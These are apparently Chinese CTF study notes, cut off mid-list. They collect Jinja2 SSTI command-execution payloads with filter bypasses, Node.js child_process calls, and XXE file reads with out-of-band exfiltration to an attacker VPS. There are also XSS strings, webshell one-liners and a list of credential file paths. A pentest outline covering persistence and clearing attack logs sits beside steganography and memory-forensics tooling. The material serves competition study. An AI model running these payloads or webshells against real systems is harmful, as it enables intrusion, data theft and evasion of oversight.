无回显情况下考虑
利用
__builtins__
可利用eval()
可利用__import__('os')
绕过
思路
分割
'fl'+'ag'
具体payload
{{config['__in'+'it__']['__glo'+'bals__']['__builtins__']['__import__']('os')....}}
''.join(['f','l','a','g'])
base64
不推荐,可能没有basedecode库
分离
{{request.cookies.user}}
然后在cookie里设置user的值
{{request.cookies.args.x}},然后在url内带参数&x=1
具体实现
绕过[ ]
题目中绕过bl['[', ']']
使用.代替
__getitem__()
具体payload
经典payload内的[]替换为
{{().__class__.__base__.__subclasses__().__getitem__(127).__init__.__globals__.popen("ls").read()}}
pop()
具体payload
{{().__class__.__base__.__subclasses__().pop(127).__init__.__globals__.popen("ls").read()}}
绕过单、双引号
题目中绕过bl['\'', '"']
chr()
同时可以绕过+
形式:{%set a=dict(__in=a,it__=b)|join%}{{a}}
此时{{a}}的值为__init__
request.args.x
具体payload
{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__[request.args.a](request.args.b).read()}}
a=popen&b=ls
绕过点号
{{config['__init__']['__globals__']['__builtins__']['__import__']('os')....}}
题目中绕过bl['.']
具体payload
{{config['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
绕过{{}}
使用{%print(config.__init__.__globals__......)%}
题目中的绕过bl['\{\{']
具体payload
{%print(config.__init__.__globals__.__builtins__.eval('__import__("os").popen("ls").read()'))%}
无回显
将输出写入到static目录下的文件内,比如1.txt
具体payload
{{config.__init__.__globals__.__builtins__.eval('__import__("os").popen("ls>static/1.txt").read()')}}
此处需要注意的是,需要在网站的根目录下访问static目录,比如:https://117.62.234.74:8312/static/1.txt
绕过_
{{config|attr(request.args.x)|attr(request.args.y)}}
题目中绕过bl['_']
具体payload
{{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.geti)(127)|attr(request.args.ini)|attr(request.args.global)|attr(request.args.geti)('popen')('cat flag')|attr('read')()}}
?class=__class__&&base=__base__&&subclasses=__subclasses__&&geti=__getitem__&&ini=__init__&&global=__globals__
转16进制
\x5f
具体payload
{{()["\x5f\x5f"+"class"+"\x5f\x5f"]["\x5f\x5f"+"base"+"\x5f\x5f"]["\x5f\x5f"+"subclasses"+"\x5f\x5f"]()[133]["\x5f\x5f"+"init"+"\x5f\x5f"]["\x5f\x5f"+"globals"+"\x5f\x5f"]["popen"]("ls /")["re"+"ad"]()}}
绕过数字
{{'aaa'|length}}
会返回3
题目中绕过bl['0-9']
具体payload
{%set a='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'|length %}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat flag').read()}}
绕过关键字
拼接关键字绕过
题目中绕过bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
具体payload
{{()['__cla'+'ss__']['__b'+'ase__']['__subclas'+'ses__']()['__getitem__'](127)['__ini'+'t__']['__glob'+'als__']['__getitem__']('po'+'pen')('cat flag')['read']()}}
{{()['__clas'+'s__'].__base__['__subclas'+'ses__']()[133].__init__.__globals__['po'+'pen']("ls")['re'+'ad']()}}
绕过config
使用其它位置的config达到绕过全局config
具体payload
{{get_flashed_messages.__globals__['current_app'].config['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
{{url_for.__globals__['current_app'].config['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
也可以使用第二种经典payload绕过
flask框架下的payload
{{get_flashed_messages.__globals__['current_app'].config}}
{{url_for.__globals__['current_app'].config}}
关键字替换popen可换为system
复杂绕过
题目中绕过bl['\'', '"', '+', 'request', '.', '[', ']']
具体payload
{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(127)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(ls=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(127)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
原形payload:{{().__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}
题目中绕过bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']
具体payload
题目中绕过bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
具体payload
特性
os.path.join(path,*paths)
功能
函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后
特点
如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
举例
分析
当res[0]为/flag时,前面的/uploads将会被删除,所以直接打开的就是/flag文件
payload
res[0]=/flag
工具
SSTI通杀工具
焚靖
使用方法
通过docker安装
docker pull marven11/fenjing
docker run --net host -it marven11/fenjing webui
--net host意为直接映射到本机网络,执行此条后访问http://127.0.0.1:11451
XSS
跨站脚本攻击
危害
获得cookie
测试XSS函数
使用alert()测试的目的是
alert()其内容可能需要使用引号引起来
<script>alert()</script>
<a href=>
<img >
onerror事件弹窗
onclick事件弹窗
种类
反射型
构造payload之后让受害人点击
存储型
一般在留言板,或后台管理员能看到的位置构造payload,从而获得cookie
DOM型
绕过
通过大小写字母绕过
通过html实体字符绕过
格式:&#+ascii
CSRF
跨站请求伪造
工作原理
通常配合XSS使用
提取目标网站的特定URL,在诱导点击A网站后,会导致目标网站发送特定请求,在当前浏览器
危害
刷粉
刷赞
收藏
或在一些不需要多重确认机制的场景下的一些操作
XXE
dtd(用于定义XML文档的结构)
定义变量
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ELEMENT note ANY > <!ENTITY user "test" > ]> <creds> <user>&user;</user> <pass>mypass</pass> </creds>
定义参数
<?xml versoin="1.0" encoding="UTF-8"?> <! DOCTYPE a[ <! ENTITY % f SYSTEM "php://fliter/convert.base64-encode/resource=/etc/host"> %f; ]>
危害
文件读取
有回显
1.定义实体
<! ENTITY xxe SYSTEM "etc/hosts">
若读取失败,考虑转base64
<! ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
2.调用实体以读取文件
&xxe;
3.在回显位获得结果或结果的base64
无回显
利用VPS外带数据进行文件读取
1.定义实体
<! ENTITY xxe SYSTEM "http://目标VPS">
<! ENTITY %f SYSTEM "php://fliter/convert.base64-encode/resource=/etc/hosts"
<! ENTITY % poc "<! ENTITY % a SYSTEM 'http://目标VPS?p=%f;'>">
2.调用实体
%poc;%a;
3.在VPS中接收结果
内网探测
payload:<! ENTITY xxe SYSTEM "http://目标ip:端口">
nodeJs
对大小写敏感
"ı".toUpperCase() == 'I', "ſ".toUpperCase() == 'S' "κ".toLowerCase() == 'k'
命令执行
绕过
拼接
['fl'+'ag']
拼接后为['flag']
['ex', 'c'].join('e')
相当于['exec']
转16进制
flag转16进制='\x66\x6c\x61\x67'
String.fromChrCode(十进制ascii数字)
ascii字符 类似于chr函数
child_process
导入child_process的形式
第一种
global.process.mainModule.constructor._load('child_process').exec('calc')
第二种
require('child_process').execFile("calc",{shell:true});
require('child_process').spawn("calc",{shell:true});
require('child_process').execSync("calc")
require('child_process').spawnSync("calc", {shell:true}).stdout.toString()
在命令带参数时,{shell:true}必须带
读文件
res.end(require('fs').readdirSync('.').toString())
读取当前目标下文件,相当于ls
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
res.end(require('fs').readFileSync('./daigua.txt').toString());
res.end(require('fs').rmdirSync('./daigua').toString());
写文件
原型链污染
原理:在当前类找不到的属性,就会从其父类中找该属性,一般在object.__proto__下新增属性,比如object.__proto__.X这种方法可以在所有object的子类下找到X属性,从而达到使用目标变量没有设置X属性的情况下拥有X属性并利用X属性的值。
总体解题思路
1.信息收集
开放的服务
方法
端口扫描
用到的后端技术
方法
通过报错
工具:wappalyer
通过searchspolit搜索对应漏洞
网站的目录和结构
方法
dirsearch
dirb
御剑
查看网页源码
原理
暴力猜解
目的
敏感信息泄露
robots.txt
记录爬虫不可访问目录,目录一定存在
原码泄露
备份文件
常用文件名
htdocs.tag.gz
web.zip
web.tar.gz
临时文件
常用文件名
index.php.bak
index.php.
index.phps
index.php~
.index.php.swp
仓库
github/gitee
历史遗留
网站网页的历史快照
web.archive.org
常用路径
WINDOWS下: c:/boot.ini//查看系统版本 c:/windows/php.ini//php配置信息 c:/windows/my.ini//MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 c:/winnt/php.ini c:/winnt/my.ini c:\mysql\data\mysql\user.MYD//存储了mysql.user表中的数据库连接密码 c:\ProgramFiles\RhinoSoft.com\Serv-U\ServUDaemon.ini//存储了虚拟主机网站路径和密码 c:\ProgramFiles\Serv-U\ServUDaemon.ini c:\windows\system32\inetsrv\MetaBase.xml查看IIS的虚拟主机配置 c:\windows\repair\sam//存储了WINDOWS系统初次安装的密码 c:\ProgramFiles\Serv-U\ServUAdmin.exe//6.0版本以前的serv-u管理员密码存储于此 c:\ProgramFiles\RhinoSoft.com\ServUDaemon.exe C:\DocumentsandSettings\AllUsers\ApplicationData\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码 c:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf或C:\apache\conf\httpd.conf//查看WINDOWS系统apache文件 c:/Resin-3.0.14/conf/resin.conf//查看jsp开发的网站resin文件配置信息. c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf查看linux系统配置的JSP虚拟主机 d:\APACHE\Apache2\conf\httpd.conf C:\ProgramFiles\mysql\my.ini C:\mysql\data\mysql\user.MYD存在MYSQL系统中的用户密码 LUNIX/UNIX下: /usr/local/app/apache2/conf/httpd.conf//apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虚拟网站设置 /usr/local/app/php5/lib/php.ini//PHP相关设置 /etc/sysconfig/iptables//从中得到防火墙规则策略 /etc/httpd/conf/httpd.conf//apache配置文件 /etc/rsyncd.conf//同步程序配置文件 /etc/my.cnf//mysql的配置文件 /etc/redhat-release//系统版本 /etc/issue /etc/issue.net /usr/local/app/php5/lib/php.ini//PHP相关设置 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf//虚拟网站设置 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf查看linuxAPACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看 /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf查看linuxAPACHE虚拟主机配置文件 /usr/local/resin-3.0.22/conf/resin.conf针对3.0.22的RESIN配置文件查看 /usr/local/resin-pro-3.0.22/conf/resin.conf同上 /usr/local/app/apache2/conf/extra/httpd-vhosts.confAPASHE虚拟主机查看 /etc/sysconfig/iptables查看防火墙策略 load_file(char(47))可以列出FreeBSD,Sunos系统根目录 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
2.弱点分析
输出参数
观测URL
观测请求体
页面输入
输入框
文件上传按钮
跳转信息
响应头
越权
水平越权
造成数据篡改
垂直越权
提升操作权限
3.构造payload
注入为主
常规
sql注入
REC
序列化
盲注
无回显的攻击请求
4.获取shell
虚拟的shell
webshell
免杀马
不死马
托管
C2工具等
进行后渗透相关操作
内网渗透
权限维持
5.痕迹处理
清除攻击日志
6.编写报告
MISC
隐写
常规思路
通过liunx下
file命令
查看是文件类型
strings
查看字符串
类型
图片
套路
在图片尾插入字符
在图片中插入字符
在图片内插入压缩包
在图片尾再次插入图片
同时第二张图片的头是缺失的
jpg
exiftools
steghide
PNG
LSB
原理:在无损图片中(PNG,BMP),通过修改RGB数据的最后一位,来隐藏数据
工具
Stegsolve(多用于CTF)
两张图片做各种逻辑运算以获得flag
子主题
DKMC(实战)
可以将shellcode写入图片
编写一个lsb_shellcode_loader加载这张图片即可getshell(大概率需要做免杀处理)
高度值隐写
工具:010 Editor
需要借助工具直接修改高度值即可
iDAT块
一般在最后的iDAT块内隐藏值
工具
010Editor
bftools加密
解密命令
bftools.exe decode braincopter doge.jpg --output 2.txt
注意图片不能进行修改
双图考虑盲水印
工具(需要python2环境)
bwm.py
python bwm.py decode KyrieIrving.png KyrieIrving_flag.png flag.png
decode.py
python decode.py --original KyrieIrving.png --image KyrieIrving_flag.png --result flag.png
同时也可以考虑使用010Editor的比较文件功能进行比较
二维码在线
https://merri.cx/qrazybox/
base64转图片
使用
<html><img class="media-wrap image-wrap" src="data:image/png;base64,AAAAABJRU5ErkJggg=="/></html>
生成一个html,将src换成目标
zsteg
可以提取PNG图片LSB隐写的字符信息
命令
zsteg 1.png
gif
时间域
在Photoshop中,选择“窗口”>“动画”>“动画预览”
空间域
抽帧脚本
# -*- coding: utf-8 -*- import os from PIL import Image def main(gif_file): png_dir = '/mnt/hgfs/gongxiang/dongming/45663022307c456897d30639f56da759-I5hSw4fn/foremost_output/gif/1' img = Image.open(gif_file) try: while True: current = img.tell() img.save(png_dir + str(current + 1) + '.png') img.seek(current + 1) except: pass if __name__ == '__main__': gif_file = './00000000.gif' main(gif_file)
抽出后按色块处理
import os from PIL import Image def main(): png_dir = '/mnt/hgfs/gongxiang/dongming/45663022307c456897d30639f56da759-I5hSw4fn/foremost_output/gif/' ret = "" for i in range(0,24): line = "" for j in range(0,24): file_name = "/mnt/hgfs/gongxiang/dongming/45663022307c456897d30639f56da759-I5hSw4fn/foremost_output/gif/" + str(i * 24 + j + 1) + ".png" x = j * 10 + 5 y = i * 10 + 5 img = Image.open(file_name) img = img.convert("RGB") img_array = img.load() r, g, b = p = img_array[x, y] if g == 255: line += "0" if r == 255 and b == 255: line += "1" if len(line) == 8: ret += chr(int(line, 2)) line = "" print(ret) if __name__ == '__main__': main()
flag{2ce3b416457d4380dc9a6149858f71db}
文档
office文件
套路
doc文档字体设置透明色
字体颜色
选项中设置为“隐藏文字”
文件隐藏
office软件的文件本质为zip压缩包,可直接以压缩包形式打开,查看内部文件
文件本质
.TXT文件
考虑0宽隐写
工具在
PDF文件
工具
wbStego (用于隐写)
文件位置
爆破
压缩包
伪加密
一般针对ZIP文件
在全局标记位加密,且同时目录列表内也加密为真正加密
50 4B 01 02 1F 00 14 00 00 00
奇数为加密
crc碰撞
工具
6字节
crc32.py
命令
python crc32.py reverse 0x3a93b11a
5字节以内
随波逐流
举例
题目
分析
通过猜解文件CRC所对应的明文来获得文件内容,内容可能有很多,需要根据语意判断
明文
爆破
视频
使用ffmpeg 将mp4文件逐帧提取
ffmpeg.exe -i wars.mp4 -r 1 -f image2 %d.jpg
音频
wav
查看频谱
查看不同音轨
可能存在在摩斯码
可能存在高低电平
工具
minimodem (新kali)
命令
minimodem-r-fencoded.wav1200
DeepSound
可以用来解密
解密之前使用deepsound2john.py脚本,导出hash.txt,然后使用john hash.txt跑出密码,再使用deepsound解密
INSA{Aud1o_st3G4n0_1s_4lwayS_Th3_S4me}
MP3
工具
Mp3stego
音频lsb隐写
工具
SilentEye
其它文件隐写
MP4
工具
ffmpeg
抽出每一帧做为图片
命令
ffmpeg.exe -i wars.mp4 -r 1 -f image2 %d.jpg
字节码隐写
工具
python-uncompyle
命令
uncompyle6 /mnt/hgfs/gongxiang/pyc.pyc
uncompyle6 -o test.py test.pyc
这会将test.pyc文件反编译,并输出到test.py文件中
stegosaurus
命令
python3 -m stegosaurus.py flag.pyc -x
pyinstxtractor.py
解压python打包的exe文件
命令
python pyinstxtractor.py 文件名.exe
注意:获得.pyc文件后需要file命令看一下文件类型使用uncompyle6只能反编译python3的pyc,python2的pyc需要使用uncompyle2
uncompyle2、6在win7内有
常见文件标识头
FFD8FF ----- JPEG (jpg) 89504E47 ----- PNG (png) 47494638 ----- GIF (gif) 424D ----- Windows Bitmap (bmp) 504B0304 ----- ZIP Archive (zip) 52617221 ----- RAR Archive (rar) 57415645 ----- Wave (wav) 41564920 ----- AVI (avi) D0CF11E0 ----- MS Word/Excel (xls.or.doc) 255044462D312E ---Adobe Acrobat (pdf)
常见文件标识尾
FFD9-----jpg
工具
常规
binwalk
帮助我们识别文件结构
命令
Foremost
将多个合并文件分离
Exiftool
读取jpeg图片的exif信息
命令
exiftool 1.jpg # 显示图片所有信息 exiftool 1.jpg | grep flag # 查看图片有关‘flag’字符的信息
exiftool -b -ThumbnailImage attachment.jpg >flag.jpg # 提取缩略图*
Pngcheck
查看png图片模块信息
命令
Pngcheck.exe -v 图片路径
pngcheck.exe -v 123.png
MP3Stego
可以将wav文件和需要隐藏的文件合并成一个新的MP3文件
命令
...\Decode.exe -X -P [password] [stego_mp3]
Stegosolve
神器,通常使用frame browser功能来查看图片不同通道,不同色块来分析图片隐藏信息
azul快速配置java环境
lsbpy脚本
python lsb.py extract [stego_file] [out_file] [password]
非主流手段
bftools
bftools可以从图片分解brainfuck
命令
bftools.exe decode braincopter flag.png > 1.txt bftools.exe run 1.txt > 2.png bftools.exe decode brainloller 2.png > 3.txt bftools.exe run 3.txt bftools.exe decode braincopter zzzzzzyu.png -output 1234.png Beftools.ext run 1234.png
F5
命令
java Extract 1.jpg -p 123456 java Embed 原图.jpg 生成图.jpg -e 隐藏的文件.txt -p 密码
需要密码进行加解密
注意:空密码也可以
经典提示
re
程序位置
Fireworks
需要装PS
Outguess
outguess -r xx.jpg output.txt
jgp和PNG都适用
outguess -r /mnt/hgfs/gongxiang/dongming/30-oPeiMyJY/angrybird.jpg -t ./q.txt
image photography
要
子主题
程序位置
steghide
程序位置
命令
steghide extract -sf shanghao.jpg -p qsnctf steghide info out.jpg steghide extract -sf out.jpg
需要密码进行加解密
注意:空密码也可以
stegdetect
程序位置
命令
stegdetect.exe -tjpoi-s100Pcat.ipg
-s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。 -t 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下: j检测图像中的信息是否是用jsteg嵌入的。 o 检测图像中的信息是否是用outguess嵌入的。 p 检测图像中的信息是否是用jphide嵌入的。 i 检测图像中的信息是否是用invisible secrets嵌入的
可以判断图片是哪种加密方式,从而找到正确的工具进行加解密
注意:准确度不够
bmw(盲水印)
需要两张图片
montage(拼图)
命令
montage 输入文件路径 -tile 长宽数量 -geometry 拼图间隙 输出路径
示例: montage ./*.png -tile 8X6 -geometry +0+0 flag.png
把当前目录下的所有.png格式的图片拼起来
montage.exe *.png -geometry +0+0 -background #00000000 big.png
把当前目录和所有子目录下的.png格式的图片拼起来
dir /b /s *.png > filelist.txt montage.exe @filelist.txt -geometry +0+0 -background #00000000 big.png
depix(马赛克去除)
命令
python depix.py -p [打了马赛克的图片] -s [辅助解码的图片] -o output.png
python depix.py -p images/testimages/testimage3_pixels.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o output.png
npiet
解Piet图片,类似于这种图片
命令
./npiet.exe -q flag.png
win7内
stegpy
支持文件
PNG BMP GIF Webp WAV
命令
Stegpy xxx.wav -p 密码
kali内
dtmf2num.exe(DTMF拨号音识别)
命令
dtmf2num.exe .\girlfriend.wav
在win7内
jslogo (logo 解释器)
处理类似这种的payload
cs pu lt 90 fd 500 rt 90 pd fd 100 rt 90 repeat 18[fd 5 rt 10] lt 135 fd 50 lt 135 pu bk 100 pd setcolor pick [ red orange yellow green blue violet ] repeat 18[fd 5 rt 10] rt 90 fd 60 rt 90 bk 30 rt 90 fd 60 pu lt 90 fd 100 pd rt 90 fd 50 bk 50 setcolor pick [ red orange yellow green blue violet ] lt 90 fd 50 rt 90 fd 50 pu fd 50 pd fd 25 bk 50 fd 25 rt 90 fd 50 pu setcolor pick [ red orange yellow green blue violet ] fd 100 rt 90 fd 30 rt 45 pd fd 50 bk 50 rt 90 fd 50 bk 100 fd 50 rt 45 pu fd 50 lt 90 pd fd 50 bk 50 rt 90 setcolor pick [ red orange yellow green blue violet ] fd 50 pu lt 90 fd 100 pd fd 50 rt 90 fd 25 bk 25 lt 90 bk 25 rt 90 fd 25 setcolor pick [ red orange yellow green blue violet ] pu fd 25 lt 90 bk 30 pd rt 90 fd 25 pu fd 25 lt 90 pd fd 50 bk 25 rt 90 fd 25 lt 90 fd 25 bk 50 pu bk 100 lt 90 setcolor pick [ red orange yellow green blue violet ] fd 100 pd rt 90 arc 360 20 pu rt 90 fd 50 pd arc 360 15 pu fd 15 setcolor pick [ red orange yellow green blue violet ] lt 90 pd bk 50 lt 90 fd 25 pu home bk 100 lt 90 fd 100 pd arc 360 20 pu home
取证
流量分析
工具
Wireshark
正则
flag{.*?}
过滤
ip 地址筛选
ip.addr == x.x.x.x
筛选 ip 地址为 x.x.x.x 的(包括源 ip 地址与目标 ip 地址)
ip.dst ne x.x.x.x
筛选目的地址 ip不是 x.x.x.x 的(ne 即 !=)
端口筛选
tcp.dstport == 80
筛选 tcp 协议的目标端口为 80 的流量包
tcp.srcport == 80
筛选 tcp 协议的源端口为 80 的流量包
包长度筛选
frame.len >= 1024
筛选大于等于 1024 字节的帧(一整条流量包)
tcp.len >= 20
筛选大于等于 20 字节的 tcp 流量包
ip.len == 20
筛选等于 20 个字节的 ip 包
mac 地址筛选
eth.addr == x:x:x
筛选 mac 地址(包括源地址与目标地址)
协议筛选
tcp / udp / http / ftp / ftp-data / icmp / dns / 等等协议
注意:如果一个 http 包太大,被拆分成3个包。那么在包列表面板中,前两个包可能只被识别为 tcp 流量包,只有最后一个包才被识别为 http 流量包,甚至可能出现所有拆分包都只能被识别为 tcp 流量的情况
http
筛选GET请求
http.request.method==GET
筛选POST请求
http.request.method==POST
组合过滤指令
可以通过 and, &&, or, ||, not, ! 来组合使用过滤指令
例:p.dst==52.69.16.17 and http
筛选目标 ip 为 52.69.16.17 的 http 流量包
包含
内容筛选
tcp contains "flag"
筛选TCP协议中包含字符串"flag"的包
http.request.uri contains "hack.php"
内容匹配
http.request.uri matches "login$"
筛选请求地址以 "login" 为结尾的 http 流量包($ 在正则匹配中代表结束符)
linux命令
linux下strings命令
功能:
grep的使用
grep 'data' /etc/passwd
过滤/etc/passwd中带data的
grep -E ":\d+" /etc/passwd
grep -E "^root" /etc/passwd
grep -v -E "sh$" /etc/passwd
过滤不包含以sh结尾的
awk
awk -F " " '{print $2,$3,$4,$5,$6,$7,$8}' ./1.txt >2.txt
-F使用特定符号分割,$2取分割后的第二列
for
for i in `seq 1 43`;do grep "t),$i,1))=" ou.txt|tail -n 1; done > 3.txt
循环过滤特定字符
cat *
读取本文件夹下所有文件
挂载.img文件
losetup -f -P attachment.img
tshark
命令格式
tshark -r tshark.pcapng -Y 'http.request.uri contains "sqli/example2.php"' -T fields -e 'http.request.uri'
解释:打开tshark.pcapng的流量包,以http.request.uri contains "sqli/example2.php"进行过滤,过滤结果以fields形式展示,最后输出结果按http.request.uri过滤
重点关注协议
HTTP
ICMP
可能存在字符串传输
SMB
可能存在文件传输
FTP
可能存在文件传输
ceph
可能存在文件传输
obex (蓝牙)
找长度长的包
可能存在文件传输
voip
没什么技巧,听就完了
一个题目的flag为saccon{9001ivr}
套路
找字符串
恢复文件
没有加头的
加私有数据头的
USB
键盘流量
特点
8个字节
工具
UsbKbCracker
命令:python3 UsbKeyboardDataexp.py -f ez_usb.pcapng -e usb.capdata
鼠标流量
特点
4个字节
工具
UsbmiceCracker
命令:python3 UsbmiceCracker.py -f usb.capdata.pcapng -e usb.capdata -a LEFT
https
解密前提
获得证书
获得之后在wireshark内--编辑--首选项--Protocols--TLS--RAS keys list
ICMP
隐写点
data数据内里每次写入一位
data长度
通过长度变化表示二进制数
注意关注zip -p或rar -p 后面紧跟密码
TCP
urg字段隐藏值
日志分析
攻击容易出现的位置
GET、POST请求报文的url字段
可能存在读写文件,指令
GET、POST请求报文的cookie字段
GET、POST请求报文的reffer字段
GET、POST请求报文的user-agent字段
可能存在漏扫的特定头数据
POST请求报文的表单字段
可能存在文件读取
HTTP响应
常见攻击语句
SQL注入
探测语句
http://xxx/news.php?id=23%20and%201=1
查询语句
and exists(select * from admin)
and+(select+top+1+asc(mid(username,2,1))+from+Admin)>100
union select 1,2,table_name from information_schema.tables where table_schema=database()#
union select user,2,password from users#
在将日志文件导入excle分析时
时间盲注使用=IF(ABS(B17-B16)<3,"yes","no")进行筛选,使用时,先将秒数截取出来,然后使用下一个减去上一个小于sleep()的值就是正确的
XSS攻击
XSS测试语句
<script>alert(/xss/);</script>
<a href=javascript:alert('test')>adfasdfasdf</a>
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
<img src=“x” onerror=“alert(/xss/)”/>
命令执行
命令执行语句
GET /xx/xx/index.php?do=phpinfo
GET /x.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/ptcmd.cgi?cmd=;cat+/tmp/user.ini
文件包含
文件包含语句
GET /xx/xx.php?file=../../etc/passwd
GET /xx/xx.php?file=http://xx/1.php
php://filter/read=convert.base64-encode/resource=index.php
Webshell
Webshell语句
<?php @eval($_POST['v']);?>
<%eval request("v")%>
<%execute(request("admin"))%>
信息泄露
暴力破解
网站扫描
内存分析
工具
AXIOM
X-Ways
Volitility2
使用
查看镜像信息
volatility2.6.exe -f mem3.raw imageinfo
指定操作系统
volatility2.6.exe-fmem3.raw--profile=win2003x86
常用命令
查看文件
列出 PE 文件的版本信息
verinfo
filescan
volatility2.6.exe -f mem3.raw --profile=Win7SP1x64 filescan |find "flag"
搜索文件并查找带“flag"的文件
导出文件
dumpfiles
volatility2.6.exe -f mem3.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./
从指定的内存地址导出文件
查看剪切板
volatility2.6.exe -f Z:\share\内存练习题\mem1.raw --profile=Win7SP1x64 clipboard
查看历史命令
volatility2.6.exe -f mem3.raw --profile=Win7SP1x64 cmdscan
进程表
pslist
psscan
查看系统密码
volatility2.6.exe -f Z:\share\内存练习题\mem1.raw --profile=Win7SP1x64 hashdump
查看计算机名
最终命令:volatility2.6.exe -f Z:\share\内存练习题\mem1.raw --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName\ComputerName"
0xf8a000024010为SYSTEM在内存中的地址
通过注册表获得SYSTEM项的地址
再进一步查找:
ControlSet001\Control\ComputerName\ComputerName
win7是ControlSet001
其它是ControlSet
查看注册表
获取注册表的地址
volatility2.6.exe -f Z:\share\内存练习题\mem1.raw --profile=Win7SP1x64 hivelist
扫描 windows 中存在的注册表配置单元
hivescan
列出配置单元或特定键值下的注册表项
printkey
打印 userassist 注册表项和信息
userassist
查看服务
服务扫描
svcscan
扫描存在于 Windows 内存映像中的网络对象
netscan
遍历 Windows 内存映像中存在的网络状态
netstat
列出注册表的证书存储中的证书
certificates
全部命令
callbacks 打印全系统通知例程 clipboard 提取Windows剪贴板中的内容 cmdline 显示进程命令行参数 cmdscan 提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息) connections 打印系统打开的网络连接(仅支持Windows XP 和2003) connscan 打印TCP连接信息 consoles 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息) crashinfo 提取崩溃转储信息 deskscan tagDESKTOP池扫描(Poolscaner) devicetree 显示设备树信息 dlldump 从进程地址空间转储动态链接库 amcache 查看AmCache应用程序痕迹信息 apihooks 检测内核及进程的内存空间中的API hook cachedump 获取内存中缓存的域帐号的密码哈希 dlllist 打印每个进程加载的动态链接库列表 driverirp IRP hook驱动检测 drivermodule 关联驱动对象至内核模块 driverscan 驱动对象池扫描 dumpcerts 提取RAS私钥及SSL公钥 dumpfiles 提取内存中映射或缓存的文件 editbox 查看Edit编辑控件信息 (Listbox正在实验中) envars 显示进程的环境变量 filescan 提取文件对象(file objects)池信息 gahti 转储用户句柄(handle)类型信息 gditimers 打印已安装的GDI计时器(timers)及回调(callbacks) gdt 显示全局描述符表(Global Deor Table) getservicesids 获取注册表中的服务名称并返回SID信息 getsids 打印每个进程的SID信息 handles 打印每个进程打开的句柄的列表 hashdump 转储内存中的Windows帐户密码哈希(LM/NTLM) hibinfo 转储休眠文件信息 hivedump 打印注册表配置单元信息 hivelist 打印注册表配置单元列表 hivescan 注册表配置单元池扫描 hpakextract 从HPAK文件(Fast Dump格式)提取物理内存数据 hpakinfo 查看HPAK文件属性及相关信息 idt 显示中断描述符表(Interrupt Deor Table) iehistory 重建IE缓存及访问历史记录 imagecopy 将物理地址空间导出原生DD镜像文件 imageinfo 查看/识别镜像信息 kdbgscan 搜索和转储潜在KDBG值 kpcrscan 搜索和转储潜在KPCR值 notepad 查看记事本当前显示的文本 objtypescan 扫描窗口对象类型对象 patcher 基于页面扫描的补丁程序内存 printkey 打印注册表项及其子项和值 privs 